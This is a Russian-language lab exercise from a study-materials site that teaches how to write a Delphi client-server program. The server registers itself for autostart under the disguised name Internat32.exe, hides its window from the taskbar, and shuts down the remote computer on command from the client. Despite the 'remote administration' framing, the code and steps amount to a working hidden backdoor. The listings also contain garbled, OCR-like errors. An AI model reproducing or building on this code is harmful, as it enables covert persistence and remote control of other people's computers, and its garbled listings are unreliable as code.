Создание сетевого программного обеспечения 


Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Создание сетевого программного обеспечения



Разработка программы для передачи данных в сети

Общие сведения

Понятие сетевого программного обеспечения

Сетевое программное обеспечение (ПО) – программное обеспечение, предназначенное для передачи данных по компьютерной сети.

Сетевое программное обеспечение состоит из двух программ. Первая программа называется сервером, поскольку устанавливается на удаленной машине и чаще всего функционирует невидимо для пользователя. Вторая программа остается на машине создателя и называется клиентом.

Принцип работы сетевого ПО заключается в том, что с помощью клиента происходит соединение с сервером, который выполняет команды пользователя. Серверная часть находится на удаленном компьютере, невидима и может выполнять любые действия пользователя.

При помощи этой технологии можно удаленно администрировать компьютеры, например, настраивать компьютер друга по локальной сети и при этом находиться дома.

Задание на работу

Необходимо разработать проект, обеспечивающий передачу данных с одного компьютера на другой, находящийся в сетевом окружении.

7.1.3 Выполнение задания на работу

Процесс загрузки приложения

Необходимо запустить Delphi и создать новый проект (File/New Application).

Затем следует выбрать пункт Options меню Project. Появится окно, показанное на рисунке 203.

Здесь необходимо перенести Form из раздела Auto-Create forms (список слева) в Available forms (список справа).

Посредством этого произойдет отключите Form1 из списка автоинициализируемых форм.

 

Рисунок 203 – Отключите Form1

из списка автоинициализируемых форм

На странице Application этого же диалогового окна находится кнопка Load Icon. Ее, следует нажать, чтобы сменить значок будущей программы. Если значок не сменить, то будет использоваться стандартный значок Delphi.

Теперь необходимо перенести на форму компонент ServerSocket с закладки Internet (рисунок 204), это сервер на основе протокола TCP.

 

Рисунок 204 – Компонент ServerSocket

Затем необходимо выделить созданный компонент ServerSocket и перейдите в окно Object Inspector (Инспектор объектов).

Здесь необходимо установить свойство Port. По умолчанию значение этого свойства равно 1024[30], однако его можно поменять на любое другое значение (желательно, больше 1000). Если программа не будет работать, данное значение следует изменить на другое, так как не все числа могут быть номерами портов, однако большая их часть от 1024 до 65000 работает безотказно.

Чтобы активизировать свойства формы, необходимо щелкнуть в любом ее месте.

Затем необходимо перейти в окно Инспектор объектов и щелкнуть на закладке Events. Затем необходимо дважды щелкнуть в строке Oncreate, и Delphi создаст процедуру-обработчик события, которая будет выполняться при инициализации формы.

В указанной процедуре необходимо написать следующий код:

procedure TForml.FormCreate(Sender: TObject);

var Regini:TRegIniFile;

begin

Regini:=TRegIniFile.Create('Software');

Regini.RootKey:=HKEY_LOCAL_MACHINE;

Regini.OpenKey('Software', true);

Regini.OpenKey('Microsoft', true);

Regini.OpenKey('Windows', true);

Regini.OpenKey('CurrentVersion',true);

Regini.WriteString('RunServices’,'Internat32.exe',

Application.ExeName);

Regini.Free;

ServerSocket1.Active:=true;

end.

Теперь необходимо перейти в начало кода и написать после слова uses слово registry. Это необходимо для того, чтобы добавить к проекту модуль работы с реестром, иначе Delphi выдаст ошибки при компиляции. Раздел uses должен выглядеть так: uses registry, Windows, Messages…

В выше представленной процедуре написано следующее:

var Regini:TRegIniFileт – объявление переменной Reglni типа TReginiFiie. С помощью этой переменной происходит общение с реестром.

Regini:=TRegIniFile.Create('Software') – инициализация переменной, указывающей на реестр.

Regini.RootKey: =HKEY_LOCAL_MACHINE – указание необходимого раздела HKEY_CURRENT_USER реестра.

Regini.OpenKey('Software', true) – открытие подраздела Software. Дальше последовательно открываются подразделы, проникая вглубь реестра.

Regini.WriteString(‘RunServices', 'Internat32.exe', Application.ExeName) – запись в раздел RunServices (в этом разделе хранятся программы, которые автоматически загружаются при старте Windows) нового параметра с именем Internat32.exe (имя будущего файла) и значением Application.ExeName (здесь хранится полный путь к запущенному серверу).

Regini. Free – уничтожение больше ненужного объекта Regini.

Все это необходимо для того, чтобы при запуске программы она сама себя прописывала в разделе автозапуска. Теперь после перезагрузки компьютера программа автоматически будет загружаться в память.

Самая последняя строка serverSocketi.Active:=true запускает сервер и открывает указанный порт в ожидании соединения.

Выше был описан процесс загрузки приложения.

Процесс выгрузки приложения

Процесс выгрузки приложения происходит следующим образом.

Необходимо выделить форму и на закладке Events в Инспекторе объектов следует дважды щелкнуть в строке on destroy. Таким образом, создается процедура, которая будет выполняться при уничтожении формы. В созданной процедуре следует приписать следующий код:

procedure TForml.FormDistroy(Sender: TObject; var Action: TCloseAction);

begin

ServerSocket1.Active:=false;

end.

Указанный код позволяет отключать сервер, что автоматически закрывает порт. Если этого не сделать, то при первой же перезагрузке компьютер может выдать синий экран, если будет функционировать подключение к серверу.

Теперь нужно выделить компонент ServerSocket и перейти на вкладку Events в окне Object Inspector. Здесь следует дважды щелкнуть в строке OnciientRead и в созданную процедуру (она будет вызываться, когда данные приходят в порт) необходимо вписать код:

procedure TForml.ServerSocketlClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

s:String;

begin

s:= Socket.ReceiveText;

if s='R' then

ExitWindowsEx(EWX_SHUTDOWN,0);

end.

В первой строке считывается состояние свойства ReceiveText объекта Socket, ссылка на который была получена в качестве второго параметра процедуры. После считывания свойство обнуляется автоматически, поэтому нужно сохранить его в строковой переменной, чтобы потом можно было сколько угодно раз обращаться к полученным данным.

После этого необходимо провести проверку: если полученный текст равен букве R, то нужно отправить компьютер на перезагрузку.

Функция ExitWindowsEx позволяет Windows свернуться и выключить компьютер. При использовании параметра EWX_SHUTDOWN перед перезагрузкой всем запущенным приложениям отправится запрос о выключении, и пользователь сможет сохранить свои измененные данные.

Для сохранения сервера необходимо выбрать пункт Save All в меню File. Сначала Delphi запросит имя формы. Можно оставить по умолчанию Unitl или ввести что-то другое и нажать Сохранить. Потом будет сделан запрос об имени проекта, которое будет использоваться в качестве имени ехе-файла.

Теперь необходимо спрятать сервер, чтоб его не было видно на панели задач. Для этого следует выбрать пункт Project Manager в меню View. Откроется окно менеджер проекта, показанное на рисунке 205.

Рисунок 205 – Окно Менеджер проекта

Далее следует щелкнуть правой кнопкой на имени созданного проекта ---.exe и в появившемся меню выбрать пункт View Source (рисунок 205).

Откроется файл с исходным текстом проекта, в котором должно получится следующее:

program Internat32;

uses

Forms,

Windows.

Unitl in 'Unit1.pas' {Forml};

{$R *.RES}

var

WhEvent:THandle;

begin

Application. Initialize;

ShowWindow(Application.Handle,SW_HIDE);

Forml:=TForml.Create(nil);

Application. Run;

WhEvent:=Create Event(nil, true, false, 'et');

while (true) do

begin

WaitForSingleObject(WhEvent,1000);

Application.ProcessMessages;'

end;

end.

В данном листинге[31]:

WhEvent:THandle – акцент на то, что нужен указатель WhEvent на пустое событие THandle.

Application. Initialize – инициализация программы.

ShowWindow(Application.Handle, sw_HiDE) – установка параметров окна. Параметр SWJHIDE говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть – нажать <Ctrl>+<Alt>+<Del>.

Forml:=TForm1.Create (nil) – создание формы. Это необходимо сделать потому, что в самом начале форма была убрана из списка автосоздаваемых форм.

Application.Run – запуск программы на выполнение. Здесь запускаются обработчики событий, за которые отвечает Delphi и которые пришлось бы прописывать вручную на С или C++.

WhEvent:=Create Event(nil, true,.false, 'et') – инициализация пустого события.

Код программы выполнятся в следующей последовательности:

1 Запускается ожидание несуществующего события. Так как событие не существует, то программа будет ждать его ровно указанное время (оно указано в качестве второго параметра – 1000 миллисекунд или 1 секунда).

2 Получение управления. После второго шага программа снова перейдет на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда серверу (каждую секунду) передается управление, то созданный сервер проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный порт управляющей команды. Если сообщения есть, то сервер их выполняет. И в любом случае (есть ли сообщения или их нет) после этого пользователь снова работает без проблем одну секунду.

Проверка происходит так быстро, что компьютер с работающим сервером не ощутит нагрузки сервера.

Для того чтобы Delphi создал ехе-файл без запуска программы, необходимо нажать <Ctrl>+<F9>. Как только Delphi откомпилирует весь код, можно считать, что серверная часть готова. В момент тестирования после первого же запуска программа пропишется в реестре по адресу: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices. После тестирования ее необходимо удалить.

Создание клиентской части

Необходимо создать новый проект и вынести на него три компонента:

- Button с закладки Standard для отправки команды на компьютер с сервером.

- Edit с закладки Standard для ввода имени или адреса компьютера.

- ClientSocket с закладки Internet – клиент порта для связи с сервером.

Далее необходимо выделить объект ClientSocket и в Инспекторе объектов изменить свойство порта. По умолчанию оно равно 0. В данном же случае необходимо указать порт, который был назначен серверу. Теперь следует дважды щелкнуть на кнопке и в созданной процедуре (обработчике нажатия кнопки) прописать следующий код:

procedure TForml.ButtonlClick(Sender: TObject);

begin

ClientSocketl.Host:=Editl.Text;

ClientSocketl.Active:=true;

ClientSocketl.Socket.SendText('R');

ClientSocketl.Active:=false;

end.

В данном листинге:

ClientSocketl.Host:=Editl.Text – занесение имя компьютера локальной сети, на котором запущена серверная часть программы, в ClientSocketl. Если использовать программу в сети Интернет, то имя компьютера узнать там будет невозможно. Для этого придется использовать IP-адрес, а значит, эта строчка заменится на ClientSocketl.Addres:=EdItl.Text. Появится необходимость вводить в Editl IP-адрес.

ClientSocketl.Active:=true – активирование соединения с сервером.

ClientSocketl.Socket.SendText('R') – отправление буквы R. Если сервер получит букву R, то произойдет перезагрузка компьютера.

ClientSocketl.Active:=false – закрытие соединения с сервером.

Теперь обе части программы готовы к использованию. Необходимо нажать <Ctrl>+<F9>, чтобы Delphi создал ехе-файл без запуска программы. Для тестирования созданной программы необходимо запустить серверную часть на удаленном компьютере. Затем запустить клиентскую часть на собственном компьютере. Ввести в клиентскую часть имя удаленного компьютера (или адрес, использование программы через IP) и нажать кнопку. Удаленный компьютер должен перегрузиться.

7.1.4 Контрольные вопросы

1 Что такое сетевое программное обеспечение? Из каких двух частей состоит сетевое программное обеспечение?

2 В чем заключается отличие клиентской и серверной части программы?

3 С помощью каких объектов осуществляется связь и передача данных между компьютерами?

4 Как можно вписать и удалить информацию о приложении из реестра?

5 Как с помощью этого приложения осуществляется управление удаленным компьютером?

6 Для чего приложение прописывается в реестре?

7 Какими последствиями может обернуться выход из программы, установленной на удаленном компьютере, без отключения подключения?

8 Какие три компонента должны быть использованы при создании клиентской части программы?

9 Какое сочетание клавиш позволяет создать ехе-файл без запуска программы?

10 Как спрятать сервер, чтобы его не было видно на панели задач?

 

 



Поделиться:


Последнее изменение этой страницы: 2017-02-19; просмотров: 300; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.128.94.171 (0.028 с.)